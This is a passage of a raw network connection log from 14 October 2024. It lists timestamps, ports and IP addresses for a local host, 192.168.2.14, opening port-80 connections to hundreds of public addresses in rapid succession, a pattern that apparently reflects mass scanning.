Oct 14, 2024 17:34:12.276134968 CEST	54598	80	192.168.2.14	41.160.73.54
Oct 14, 2024 17:34:12.276879072 CEST	80	44498	130.134.1.55	192.168.2.14
Oct 14, 2024 17:34:12.276954889 CEST	44498	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.277251959 CEST	37324	80	192.168.2.14	170.3.182.62
Oct 14, 2024 17:34:12.278451920 CEST	46578	80	192.168.2.14	38.167.16.183
Oct 14, 2024 17:34:12.279403925 CEST	36270	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:12.280519962 CEST	29626	80	192.168.2.14	140.108.251.57
Oct 14, 2024 17:34:12.280524015 CEST	29626	80	192.168.2.14	101.17.61.100
Oct 14, 2024 17:34:12.280524015 CEST	29626	80	192.168.2.14	194.65.191.50
Oct 14, 2024 17:34:12.280533075 CEST	29626	80	192.168.2.14	200.199.47.113
Oct 14, 2024 17:34:12.280543089 CEST	29626	80	192.168.2.14	1.116.183.26
Oct 14, 2024 17:34:12.280555010 CEST	29626	80	192.168.2.14	64.239.215.152
Oct 14, 2024 17:34:12.280555010 CEST	29626	80	192.168.2.14	149.217.246.15
Oct 14, 2024 17:34:12.280555010 CEST	29626	80	192.168.2.14	190.95.203.167
Oct 14, 2024 17:34:12.280556917 CEST	29626	80	192.168.2.14	88.119.158.155
Oct 14, 2024 17:34:12.280556917 CEST	29626	80	192.168.2.14	99.78.255.221
Oct 14, 2024 17:34:12.280556917 CEST	29626	80	192.168.2.14	61.255.220.14
Oct 14, 2024 17:34:12.280569077 CEST	29626	80	192.168.2.14	98.108.104.219
Oct 14, 2024 17:34:12.280569077 CEST	29626	80	192.168.2.14	37.242.195.148
Oct 14, 2024 17:34:12.280569077 CEST	29626	80	192.168.2.14	40.167.134.114
Oct 14, 2024 17:34:12.280569077 CEST	29626	80	192.168.2.14	70.15.235.224
Oct 14, 2024 17:34:12.280570030 CEST	29626	80	192.168.2.14	106.65.129.202
Oct 14, 2024 17:34:12.280569077 CEST	29626	80	192.168.2.14	219.0.135.87
Oct 14, 2024 17:34:12.280570030 CEST	29626	80	192.168.2.14	118.220.129.254
Oct 14, 2024 17:34:12.280572891 CEST	29626	80	192.168.2.14	213.226.195.60
Oct 14, 2024 17:34:12.280570030 CEST	29626	80	192.168.2.14	99.74.183.193
Oct 14, 2024 17:34:12.280574083 CEST	29626	80	192.168.2.14	172.66.1.159
Oct 14, 2024 17:34:12.280572891 CEST	29626	80	192.168.2.14	186.246.101.100
Oct 14, 2024 17:34:12.280574083 CEST	29626	80	192.168.2.14	218.37.141.233
Oct 14, 2024 17:34:12.280574083 CEST	29626	80	192.168.2.14	180.203.58.209
Oct 14, 2024 17:34:12.280574083 CEST	29626	80	192.168.2.14	13.235.157.151
Oct 14, 2024 17:34:12.280574083 CEST	29626	80	192.168.2.14	138.11.80.238
Oct 14, 2024 17:34:12.280574083 CEST	29626	80	192.168.2.14	91.9.203.204
Oct 14, 2024 17:34:12.280582905 CEST	29626	80	192.168.2.14	138.14.61.211
Oct 14, 2024 17:34:12.280582905 CEST	29626	80	192.168.2.14	222.82.117.42
Oct 14, 2024 17:34:12.280584097 CEST	29626	80	192.168.2.14	60.177.106.172
Oct 14, 2024 17:34:12.280584097 CEST	29626	80	192.168.2.14	207.20.135.17
Oct 14, 2024 17:34:12.280582905 CEST	29626	80	192.168.2.14	41.138.99.176
Oct 14, 2024 17:34:12.280592918 CEST	29626	80	192.168.2.14	9.190.133.129
Oct 14, 2024 17:34:12.280592918 CEST	29626	80	192.168.2.14	83.236.216.107
Oct 14, 2024 17:34:12.280605078 CEST	29626	80	192.168.2.14	42.55.38.185
Oct 14, 2024 17:34:12.280608892 CEST	29626	80	192.168.2.14	17.249.14.39
Oct 14, 2024 17:34:12.280608892 CEST	29626	80	192.168.2.14	221.150.55.0
Oct 14, 2024 17:34:12.280608892 CEST	29626	80	192.168.2.14	219.124.90.113
Oct 14, 2024 17:34:12.280611038 CEST	29626	80	192.168.2.14	200.217.144.63
Oct 14, 2024 17:34:12.280611038 CEST	29626	80	192.168.2.14	49.251.98.120
Oct 14, 2024 17:34:12.280611038 CEST	29626	80	192.168.2.14	130.255.154.117
Oct 14, 2024 17:34:12.280611992 CEST	29626	80	192.168.2.14	57.180.209.145
Oct 14, 2024 17:34:12.280617952 CEST	29626	80	192.168.2.14	76.21.46.122
Oct 14, 2024 17:34:12.280626059 CEST	29626	80	192.168.2.14	88.134.172.68
Oct 14, 2024 17:34:12.280626059 CEST	29626	80	192.168.2.14	58.101.129.185
Oct 14, 2024 17:34:12.280626059 CEST	29626	80	192.168.2.14	58.175.213.92
Oct 14, 2024 17:34:12.280626059 CEST	29626	80	192.168.2.14	162.6.146.139
Oct 14, 2024 17:34:12.280626059 CEST	29626	80	192.168.2.14	160.233.126.219
Oct 14, 2024 17:34:12.280638933 CEST	29626	80	192.168.2.14	118.221.42.243
Oct 14, 2024 17:34:12.280641079 CEST	29626	80	192.168.2.14	18.222.9.150
Oct 14, 2024 17:34:12.280642033 CEST	29626	80	192.168.2.14	102.164.169.212
Oct 14, 2024 17:34:12.280642033 CEST	29626	80	192.168.2.14	169.60.238.163
Oct 14, 2024 17:34:12.280642033 CEST	29626	80	192.168.2.14	142.241.67.125
Oct 14, 2024 17:34:12.280642033 CEST	29626	80	192.168.2.14	153.43.58.213
Oct 14, 2024 17:34:12.280641079 CEST	29626	80	192.168.2.14	218.249.250.178
Oct 14, 2024 17:34:12.280642033 CEST	29626	80	192.168.2.14	27.80.43.84
Oct 14, 2024 17:34:12.280641079 CEST	29626	80	192.168.2.14	196.104.48.144
Oct 14, 2024 17:34:12.280643940 CEST	29626	80	192.168.2.14	31.195.4.211
Oct 14, 2024 17:34:12.280642033 CEST	29626	80	192.168.2.14	144.181.249.125
Oct 14, 2024 17:34:12.280641079 CEST	29626	80	192.168.2.14	82.10.40.168
Oct 14, 2024 17:34:12.280658007 CEST	29626	80	192.168.2.14	35.191.195.145
Oct 14, 2024 17:34:12.280658007 CEST	29626	80	192.168.2.14	71.87.109.131
Oct 14, 2024 17:34:12.280661106 CEST	29626	80	192.168.2.14	173.239.39.162
Oct 14, 2024 17:34:12.280662060 CEST	29626	80	192.168.2.14	18.190.138.32
Oct 14, 2024 17:34:12.280662060 CEST	29626	80	192.168.2.14	44.151.133.194
Oct 14, 2024 17:34:12.280663967 CEST	29626	80	192.168.2.14	36.30.186.195
Oct 14, 2024 17:34:12.280663967 CEST	29626	80	192.168.2.14	54.138.11.219
Oct 14, 2024 17:34:12.280663967 CEST	29626	80	192.168.2.14	24.135.60.13
Oct 14, 2024 17:34:12.280663967 CEST	29626	80	192.168.2.14	148.206.36.191
Oct 14, 2024 17:34:12.280663967 CEST	29626	80	192.168.2.14	43.76.243.147
Oct 14, 2024 17:34:12.280663967 CEST	29626	80	192.168.2.14	161.224.226.238
Oct 14, 2024 17:34:12.280666113 CEST	29626	80	192.168.2.14	92.250.178.153
Oct 14, 2024 17:34:12.280673027 CEST	29626	80	192.168.2.14	198.57.206.165
Oct 14, 2024 17:34:12.280679941 CEST	29626	80	192.168.2.14	70.67.152.149
Oct 14, 2024 17:34:12.280679941 CEST	29626	80	192.168.2.14	164.221.96.16
Oct 14, 2024 17:34:12.280683994 CEST	29626	80	192.168.2.14	168.30.231.203
Oct 14, 2024 17:34:12.280683994 CEST	29626	80	192.168.2.14	19.25.68.233
Oct 14, 2024 17:34:12.280685902 CEST	29626	80	192.168.2.14	104.60.60.192
Oct 14, 2024 17:34:12.280685902 CEST	29626	80	192.168.2.14	178.82.154.196
Oct 14, 2024 17:34:12.280687094 CEST	29626	80	192.168.2.14	193.57.115.197
Oct 14, 2024 17:34:12.280689955 CEST	29626	80	192.168.2.14	73.77.38.165
Oct 14, 2024 17:34:12.280689955 CEST	29626	80	192.168.2.14	146.211.47.236
Oct 14, 2024 17:34:12.280709028 CEST	29626	80	192.168.2.14	189.242.173.136
Oct 14, 2024 17:34:12.280709028 CEST	29626	80	192.168.2.14	44.184.173.140
Oct 14, 2024 17:34:12.280709028 CEST	29626	80	192.168.2.14	87.226.200.98
Oct 14, 2024 17:34:12.280709028 CEST	29626	80	192.168.2.14	83.52.92.122
Oct 14, 2024 17:34:12.280709982 CEST	29626	80	192.168.2.14	170.149.8.16
Oct 14, 2024 17:34:12.280709982 CEST	29626	80	192.168.2.14	123.190.22.157
Oct 14, 2024 17:34:12.280709982 CEST	29626	80	192.168.2.14	186.139.175.151
Oct 14, 2024 17:34:12.280711889 CEST	29626	80	192.168.2.14	142.35.146.156
Oct 14, 2024 17:34:12.280711889 CEST	29626	80	192.168.2.14	129.117.225.163
Oct 14, 2024 17:34:12.280711889 CEST	29626	80	192.168.2.14	38.72.46.232
Oct 14, 2024 17:34:12.280729055 CEST	29626	80	192.168.2.14	110.219.151.59
Oct 14, 2024 17:34:12.280729055 CEST	29626	80	192.168.2.14	78.211.187.174
Oct 14, 2024 17:34:12.280730009 CEST	29626	80	192.168.2.14	199.106.163.70
Oct 14, 2024 17:34:12.280730009 CEST	29626	80	192.168.2.14	121.127.93.46
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	130.51.218.190
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	168.61.191.127
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	103.229.244.232
Oct 14, 2024 17:34:12.280733109 CEST	29626	80	192.168.2.14	194.138.46.228
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	97.239.181.60
Oct 14, 2024 17:34:12.280735016 CEST	29626	80	192.168.2.14	183.101.12.67
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	82.182.116.34
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	140.159.246.81
Oct 14, 2024 17:34:12.280733109 CEST	29626	80	192.168.2.14	178.127.150.143
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	126.5.125.8
Oct 14, 2024 17:34:12.280733109 CEST	29626	80	192.168.2.14	12.99.149.199
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	168.67.223.130
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	106.101.34.93
Oct 14, 2024 17:34:12.280740023 CEST	29626	80	192.168.2.14	42.98.100.1
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	18.220.66.203
Oct 14, 2024 17:34:12.280740023 CEST	29626	80	192.168.2.14	185.255.215.126
Oct 14, 2024 17:34:12.280730963 CEST	29626	80	192.168.2.14	154.40.222.186
Oct 14, 2024 17:34:12.280740023 CEST	29626	80	192.168.2.14	43.199.136.226
Oct 14, 2024 17:34:12.280735016 CEST	29626	80	192.168.2.14	87.47.157.246
Oct 14, 2024 17:34:12.280735016 CEST	29626	80	192.168.2.14	136.114.32.171
Oct 14, 2024 17:34:12.280752897 CEST	29626	80	192.168.2.14	49.58.91.123
Oct 14, 2024 17:34:12.280752897 CEST	29626	80	192.168.2.14	146.91.134.167
Oct 14, 2024 17:34:12.280752897 CEST	29626	80	192.168.2.14	200.179.209.68
Oct 14, 2024 17:34:12.280756950 CEST	29626	80	192.168.2.14	94.80.83.7
Oct 14, 2024 17:34:12.280756950 CEST	29626	80	192.168.2.14	84.205.116.0
Oct 14, 2024 17:34:12.280759096 CEST	29626	80	192.168.2.14	201.35.59.24
Oct 14, 2024 17:34:12.280757904 CEST	29626	80	192.168.2.14	217.44.35.19
Oct 14, 2024 17:34:12.280759096 CEST	29626	80	192.168.2.14	149.1.215.18
Oct 14, 2024 17:34:12.280759096 CEST	29626	80	192.168.2.14	148.23.21.95
Oct 14, 2024 17:34:12.280756950 CEST	29626	80	192.168.2.14	175.18.218.126
Oct 14, 2024 17:34:12.280759096 CEST	29626	80	192.168.2.14	40.27.115.136
Oct 14, 2024 17:34:12.280761003 CEST	29626	80	192.168.2.14	93.36.86.174
Oct 14, 2024 17:34:12.280761003 CEST	29626	80	192.168.2.14	95.237.122.128
Oct 14, 2024 17:34:12.280756950 CEST	29626	80	192.168.2.14	184.203.16.20
Oct 14, 2024 17:34:12.280761003 CEST	29626	80	192.168.2.14	106.7.53.12
Oct 14, 2024 17:34:12.280761003 CEST	29626	80	192.168.2.14	169.43.29.101
Oct 14, 2024 17:34:12.280772924 CEST	29626	80	192.168.2.14	104.251.84.205
Oct 14, 2024 17:34:12.280774117 CEST	29626	80	192.168.2.14	145.23.200.243
Oct 14, 2024 17:34:12.280774117 CEST	29626	80	192.168.2.14	136.123.49.81
Oct 14, 2024 17:34:12.280774117 CEST	29626	80	192.168.2.14	106.228.9.226
Oct 14, 2024 17:34:12.280777931 CEST	29626	80	192.168.2.14	130.145.119.165
Oct 14, 2024 17:34:12.280777931 CEST	29626	80	192.168.2.14	120.143.104.160
Oct 14, 2024 17:34:12.280777931 CEST	29626	80	192.168.2.14	133.245.6.202
Oct 14, 2024 17:34:12.280793905 CEST	29626	80	192.168.2.14	171.26.199.30
Oct 14, 2024 17:34:12.280793905 CEST	29626	80	192.168.2.14	211.43.37.6
Oct 14, 2024 17:34:12.280793905 CEST	29626	80	192.168.2.14	45.104.92.69
Oct 14, 2024 17:34:12.280793905 CEST	29626	80	192.168.2.14	169.165.169.144
Oct 14, 2024 17:34:12.280793905 CEST	29626	80	192.168.2.14	210.144.251.147
Oct 14, 2024 17:34:12.280796051 CEST	29626	80	192.168.2.14	27.175.101.159
Oct 14, 2024 17:34:12.280796051 CEST	29626	80	192.168.2.14	207.190.23.98
Oct 14, 2024 17:34:12.280795097 CEST	29626	80	192.168.2.14	82.42.128.168
Oct 14, 2024 17:34:12.280796051 CEST	29626	80	192.168.2.14	109.131.145.48
Oct 14, 2024 17:34:12.280795097 CEST	29626	80	192.168.2.14	105.89.230.122
Oct 14, 2024 17:34:12.280796051 CEST	29626	80	192.168.2.14	160.74.215.169
Oct 14, 2024 17:34:12.280797958 CEST	29626	80	192.168.2.14	136.210.236.180
Oct 14, 2024 17:34:12.280796051 CEST	29626	80	192.168.2.14	116.33.181.204
Oct 14, 2024 17:34:12.280797958 CEST	29626	80	192.168.2.14	191.212.68.105
Oct 14, 2024 17:34:12.280798912 CEST	29626	80	192.168.2.14	71.78.162.23
Oct 14, 2024 17:34:12.280802965 CEST	29626	80	192.168.2.14	99.21.70.134
Oct 14, 2024 17:34:12.280802965 CEST	29626	80	192.168.2.14	144.5.90.21
Oct 14, 2024 17:34:12.280802965 CEST	29626	80	192.168.2.14	77.213.18.47
Oct 14, 2024 17:34:12.280802965 CEST	29626	80	192.168.2.14	209.140.42.217
Oct 14, 2024 17:34:12.280797958 CEST	29626	80	192.168.2.14	39.175.180.238
Oct 14, 2024 17:34:12.280802965 CEST	29626	80	192.168.2.14	9.75.68.20
Oct 14, 2024 17:34:12.280797958 CEST	29626	80	192.168.2.14	203.158.156.180
Oct 14, 2024 17:34:12.280802965 CEST	29626	80	192.168.2.14	68.141.4.88
Oct 14, 2024 17:34:12.280797958 CEST	29626	80	192.168.2.14	126.204.230.13
Oct 14, 2024 17:34:12.280811071 CEST	29626	80	192.168.2.14	35.192.241.100
Oct 14, 2024 17:34:12.280814886 CEST	29626	80	192.168.2.14	136.99.220.67
Oct 14, 2024 17:34:12.280814886 CEST	29626	80	192.168.2.14	209.167.193.233
Oct 14, 2024 17:34:12.280816078 CEST	29626	80	192.168.2.14	91.116.21.62
Oct 14, 2024 17:34:12.280816078 CEST	29626	80	192.168.2.14	191.59.107.143
Oct 14, 2024 17:34:12.280816078 CEST	29626	80	192.168.2.14	126.238.221.11
Oct 14, 2024 17:34:12.280817032 CEST	29626	80	192.168.2.14	160.92.26.83
Oct 14, 2024 17:34:12.280817032 CEST	29626	80	192.168.2.14	103.98.9.218
Oct 14, 2024 17:34:12.280817032 CEST	29626	80	192.168.2.14	69.72.14.185
Oct 14, 2024 17:34:12.280832052 CEST	29626	80	192.168.2.14	8.216.182.63
Oct 14, 2024 17:34:12.280832052 CEST	29626	80	192.168.2.14	87.173.252.144
Oct 14, 2024 17:34:12.280832052 CEST	29626	80	192.168.2.14	34.136.34.53
Oct 14, 2024 17:34:12.280832052 CEST	29626	80	192.168.2.14	133.103.144.148
Oct 14, 2024 17:34:12.280834913 CEST	29626	80	192.168.2.14	146.185.68.139
Oct 14, 2024 17:34:12.280834913 CEST	29626	80	192.168.2.14	183.10.199.135
Oct 14, 2024 17:34:12.280837059 CEST	29626	80	192.168.2.14	107.106.72.251
Oct 14, 2024 17:34:12.280838013 CEST	29626	80	192.168.2.14	110.240.176.60
Oct 14, 2024 17:34:12.280837059 CEST	29626	80	192.168.2.14	145.96.142.151
Oct 14, 2024 17:34:12.280838013 CEST	29626	80	192.168.2.14	103.73.109.253
Oct 14, 2024 17:34:12.280842066 CEST	29626	80	192.168.2.14	172.32.208.148
Oct 14, 2024 17:34:12.280842066 CEST	29626	80	192.168.2.14	54.234.219.133
Oct 14, 2024 17:34:12.280842066 CEST	29626	80	192.168.2.14	148.31.138.52
Oct 14, 2024 17:34:12.280842066 CEST	29626	80	192.168.2.14	12.110.159.163
Oct 14, 2024 17:34:12.280846119 CEST	29626	80	192.168.2.14	66.66.142.210
Oct 14, 2024 17:34:12.280846119 CEST	29626	80	192.168.2.14	198.1.125.203
Oct 14, 2024 17:34:12.280852079 CEST	29626	80	192.168.2.14	87.245.60.172
Oct 14, 2024 17:34:12.280853033 CEST	29626	80	192.168.2.14	70.117.96.77
Oct 14, 2024 17:34:12.280853033 CEST	29626	80	192.168.2.14	169.221.183.88
Oct 14, 2024 17:34:12.280853033 CEST	29626	80	192.168.2.14	150.212.185.91
Oct 14, 2024 17:34:12.280853987 CEST	29626	80	192.168.2.14	153.133.201.169
Oct 14, 2024 17:34:12.280853033 CEST	29626	80	192.168.2.14	211.108.98.117
Oct 14, 2024 17:34:12.280854940 CEST	29626	80	192.168.2.14	122.156.232.184
Oct 14, 2024 17:34:12.280854940 CEST	29626	80	192.168.2.14	128.168.206.117
Oct 14, 2024 17:34:12.280854940 CEST	29626	80	192.168.2.14	169.127.111.1
Oct 14, 2024 17:34:12.280868053 CEST	29626	80	192.168.2.14	213.219.148.226
Oct 14, 2024 17:34:12.280868053 CEST	29626	80	192.168.2.14	194.228.191.217
Oct 14, 2024 17:34:12.280868053 CEST	29626	80	192.168.2.14	105.164.97.169
Oct 14, 2024 17:34:12.280868053 CEST	29626	80	192.168.2.14	189.65.78.237
Oct 14, 2024 17:34:12.280869961 CEST	29626	80	192.168.2.14	138.10.29.62
Oct 14, 2024 17:34:12.280869961 CEST	29626	80	192.168.2.14	196.201.34.159
Oct 14, 2024 17:34:12.280870914 CEST	29626	80	192.168.2.14	105.142.47.92
Oct 14, 2024 17:34:12.280870914 CEST	29626	80	192.168.2.14	163.46.160.150
Oct 14, 2024 17:34:12.280872107 CEST	29626	80	192.168.2.14	83.130.209.64
Oct 14, 2024 17:34:12.280872107 CEST	29626	80	192.168.2.14	132.189.3.216
Oct 14, 2024 17:34:12.280873060 CEST	29626	80	192.168.2.14	58.204.77.123
Oct 14, 2024 17:34:12.280873060 CEST	29626	80	192.168.2.14	108.244.3.221
Oct 14, 2024 17:34:12.280879021 CEST	29626	80	192.168.2.14	81.100.77.1
Oct 14, 2024 17:34:12.280879021 CEST	29626	80	192.168.2.14	123.79.119.126
Oct 14, 2024 17:34:12.280885935 CEST	29626	80	192.168.2.14	50.10.102.125
Oct 14, 2024 17:34:12.280885935 CEST	29626	80	192.168.2.14	75.234.17.106
Oct 14, 2024 17:34:12.280885935 CEST	29626	80	192.168.2.14	131.241.128.234
Oct 14, 2024 17:34:12.280885935 CEST	29626	80	192.168.2.14	176.44.43.63
Oct 14, 2024 17:34:12.280888081 CEST	29626	80	192.168.2.14	47.31.133.88
Oct 14, 2024 17:34:12.280888081 CEST	29626	80	192.168.2.14	166.20.40.139
Oct 14, 2024 17:34:12.280888081 CEST	29626	80	192.168.2.14	198.195.145.14
Oct 14, 2024 17:34:12.280901909 CEST	29626	80	192.168.2.14	222.39.251.121
Oct 14, 2024 17:34:12.280901909 CEST	29626	80	192.168.2.14	213.247.42.115
Oct 14, 2024 17:34:12.280901909 CEST	29626	80	192.168.2.14	106.213.68.205
Oct 14, 2024 17:34:12.280914068 CEST	29626	80	192.168.2.14	211.96.198.163
Oct 14, 2024 17:34:12.280916929 CEST	29626	80	192.168.2.14	152.140.184.69
Oct 14, 2024 17:34:12.280916929 CEST	29626	80	192.168.2.14	158.85.24.136
Oct 14, 2024 17:34:12.280920029 CEST	29626	80	192.168.2.14	45.16.254.167
Oct 14, 2024 17:34:12.280920029 CEST	29626	80	192.168.2.14	87.31.170.80
Oct 14, 2024 17:34:12.280920982 CEST	29626	80	192.168.2.14	44.74.194.22
Oct 14, 2024 17:34:12.280920982 CEST	29626	80	192.168.2.14	180.124.58.115
Oct 14, 2024 17:34:12.280920982 CEST	29626	80	192.168.2.14	194.63.19.202
Oct 14, 2024 17:34:12.280920982 CEST	29626	80	192.168.2.14	199.251.70.219
Oct 14, 2024 17:34:12.280920982 CEST	29626	80	192.168.2.14	209.17.215.30
Oct 14, 2024 17:34:12.280922890 CEST	29626	80	192.168.2.14	72.190.169.214
Oct 14, 2024 17:34:12.280920982 CEST	29626	80	192.168.2.14	84.27.39.15
Oct 14, 2024 17:34:12.280922890 CEST	29626	80	192.168.2.14	171.48.235.245
Oct 14, 2024 17:34:12.280920982 CEST	29626	80	192.168.2.14	47.22.6.201
Oct 14, 2024 17:34:12.280942917 CEST	29626	80	192.168.2.14	43.101.124.91
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	101.42.211.22
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	175.249.243.52
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	204.142.190.16
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	175.253.209.89
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	169.133.161.22
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	8.130.47.122
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	197.17.13.147
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	200.114.121.2
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	96.247.157.172
Oct 14, 2024 17:34:12.280947924 CEST	29626	80	192.168.2.14	98.49.209.87
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	92.192.111.78
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	188.19.228.27
Oct 14, 2024 17:34:12.280945063 CEST	29626	80	192.168.2.14	136.75.103.181
Oct 14, 2024 17:34:12.280958891 CEST	29626	80	192.168.2.14	181.129.235.75
Oct 14, 2024 17:34:12.280958891 CEST	29626	80	192.168.2.14	115.65.80.126
Oct 14, 2024 17:34:12.280958891 CEST	29626	80	192.168.2.14	46.35.147.82
Oct 14, 2024 17:34:12.280961037 CEST	29626	80	192.168.2.14	8.59.83.112
Oct 14, 2024 17:34:12.280961037 CEST	29626	80	192.168.2.14	201.124.98.217
Oct 14, 2024 17:34:12.280962944 CEST	29626	80	192.168.2.14	173.32.92.98
Oct 14, 2024 17:34:12.280962944 CEST	29626	80	192.168.2.14	14.37.127.116
Oct 14, 2024 17:34:12.280966043 CEST	29626	80	192.168.2.14	209.35.177.250
Oct 14, 2024 17:34:12.280966043 CEST	29626	80	192.168.2.14	165.199.163.101
Oct 14, 2024 17:34:12.280966043 CEST	29626	80	192.168.2.14	37.103.109.164
Oct 14, 2024 17:34:12.280966997 CEST	29626	80	192.168.2.14	198.89.49.5
Oct 14, 2024 17:34:12.280966997 CEST	29626	80	192.168.2.14	159.244.19.83
Oct 14, 2024 17:34:12.280971050 CEST	29626	80	192.168.2.14	82.0.51.133
Oct 14, 2024 17:34:12.280985117 CEST	29626	80	192.168.2.14	164.115.152.38
Oct 14, 2024 17:34:12.280985117 CEST	29626	80	192.168.2.14	130.9.212.54
Oct 14, 2024 17:34:12.280986071 CEST	29626	80	192.168.2.14	1.143.217.49
Oct 14, 2024 17:34:12.280986071 CEST	29626	80	192.168.2.14	80.237.190.58
Oct 14, 2024 17:34:12.280987978 CEST	29626	80	192.168.2.14	82.242.76.119
Oct 14, 2024 17:34:12.280987978 CEST	29626	80	192.168.2.14	101.122.145.223
Oct 14, 2024 17:34:12.280987978 CEST	29626	80	192.168.2.14	166.69.88.142
Oct 14, 2024 17:34:12.280987978 CEST	29626	80	192.168.2.14	101.125.162.83
Oct 14, 2024 17:34:12.280987978 CEST	29626	80	192.168.2.14	128.254.154.190
Oct 14, 2024 17:34:12.280988932 CEST	29626	80	192.168.2.14	52.106.119.140
Oct 14, 2024 17:34:12.280987978 CEST	29626	80	192.168.2.14	170.70.109.117
Oct 14, 2024 17:34:12.280999899 CEST	29626	80	192.168.2.14	84.139.101.42
Oct 14, 2024 17:34:12.280999899 CEST	29626	80	192.168.2.14	200.103.3.250
Oct 14, 2024 17:34:12.280999899 CEST	29626	80	192.168.2.14	202.184.233.10
Oct 14, 2024 17:34:12.281002998 CEST	29626	80	192.168.2.14	202.241.101.149
Oct 14, 2024 17:34:12.281002998 CEST	29626	80	192.168.2.14	147.232.33.132
Oct 14, 2024 17:34:12.281002998 CEST	29626	80	192.168.2.14	151.65.73.246
Oct 14, 2024 17:34:12.281004906 CEST	29626	80	192.168.2.14	94.38.54.4
Oct 14, 2024 17:34:12.281007051 CEST	29626	80	192.168.2.14	121.196.193.190
Oct 14, 2024 17:34:12.281007051 CEST	29626	80	192.168.2.14	202.163.248.111
Oct 14, 2024 17:34:12.281007051 CEST	29626	80	192.168.2.14	95.40.74.118
Oct 14, 2024 17:34:12.281007051 CEST	29626	80	192.168.2.14	147.61.247.41
Oct 14, 2024 17:34:12.281011105 CEST	29626	80	192.168.2.14	69.20.150.0
Oct 14, 2024 17:34:12.281011105 CEST	29626	80	192.168.2.14	196.182.113.47
Oct 14, 2024 17:34:12.281011105 CEST	29626	80	192.168.2.14	27.237.246.81
Oct 14, 2024 17:34:12.281011105 CEST	29626	80	192.168.2.14	208.142.156.93
Oct 14, 2024 17:34:12.281025887 CEST	29626	80	192.168.2.14	168.77.82.72
Oct 14, 2024 17:34:12.281028032 CEST	29626	80	192.168.2.14	85.105.28.19
Oct 14, 2024 17:34:12.281029940 CEST	29626	80	192.168.2.14	106.248.226.161
Oct 14, 2024 17:34:12.281030893 CEST	29626	80	192.168.2.14	131.15.27.4
Oct 14, 2024 17:34:12.281030893 CEST	29626	80	192.168.2.14	113.85.117.74
Oct 14, 2024 17:34:12.281030893 CEST	29626	80	192.168.2.14	202.23.45.100
Oct 14, 2024 17:34:12.281033993 CEST	29626	80	192.168.2.14	154.78.58.110
Oct 14, 2024 17:34:12.281033993 CEST	29626	80	192.168.2.14	132.228.247.216
Oct 14, 2024 17:34:12.281033993 CEST	29626	80	192.168.2.14	13.20.61.54
Oct 14, 2024 17:34:12.281037092 CEST	29626	80	192.168.2.14	46.143.103.28
Oct 14, 2024 17:34:12.281037092 CEST	29626	80	192.168.2.14	34.62.178.133
Oct 14, 2024 17:34:12.281037092 CEST	29626	80	192.168.2.14	177.77.23.15
Oct 14, 2024 17:34:12.281037092 CEST	29626	80	192.168.2.14	93.201.1.45
Oct 14, 2024 17:34:12.281056881 CEST	29626	80	192.168.2.14	173.28.188.78
Oct 14, 2024 17:34:12.281058073 CEST	29626	80	192.168.2.14	121.142.200.192
Oct 14, 2024 17:34:12.281058073 CEST	29626	80	192.168.2.14	192.115.205.112
Oct 14, 2024 17:34:12.281059027 CEST	29626	80	192.168.2.14	107.214.211.207
Oct 14, 2024 17:34:12.281059027 CEST	29626	80	192.168.2.14	151.173.232.98
Oct 14, 2024 17:34:12.281059027 CEST	29626	80	192.168.2.14	163.10.59.231
Oct 14, 2024 17:34:12.281059027 CEST	29626	80	192.168.2.14	144.77.83.172
Oct 14, 2024 17:34:12.281059027 CEST	29626	80	192.168.2.14	93.97.109.192
Oct 14, 2024 17:34:12.281059027 CEST	29626	80	192.168.2.14	89.241.78.158
Oct 14, 2024 17:34:12.281060934 CEST	29626	80	192.168.2.14	31.165.226.234
Oct 14, 2024 17:34:12.281060934 CEST	29626	80	192.168.2.14	4.206.2.186
Oct 14, 2024 17:34:12.281060934 CEST	29626	80	192.168.2.14	118.164.185.176
Oct 14, 2024 17:34:12.281063080 CEST	29626	80	192.168.2.14	134.52.34.250
Oct 14, 2024 17:34:12.281069040 CEST	29626	80	192.168.2.14	85.26.162.117
Oct 14, 2024 17:34:12.281069040 CEST	29626	80	192.168.2.14	125.128.159.59
Oct 14, 2024 17:34:12.281069040 CEST	29626	80	192.168.2.14	165.100.115.70
Oct 14, 2024 17:34:12.281069994 CEST	29626	80	192.168.2.14	5.148.185.43
Oct 14, 2024 17:34:12.281071901 CEST	29626	80	192.168.2.14	138.87.61.197
Oct 14, 2024 17:34:12.281078100 CEST	29626	80	192.168.2.14	9.149.177.116
Oct 14, 2024 17:34:12.281152010 CEST	36040	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:12.281177044 CEST	36040	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:12.281555891 CEST	36734	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:12.282140970 CEST	46556	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:12.282140970 CEST	46556	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:12.282507896 CEST	47240	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:12.283297062 CEST	48092	80	192.168.2.14	2.17.128.182
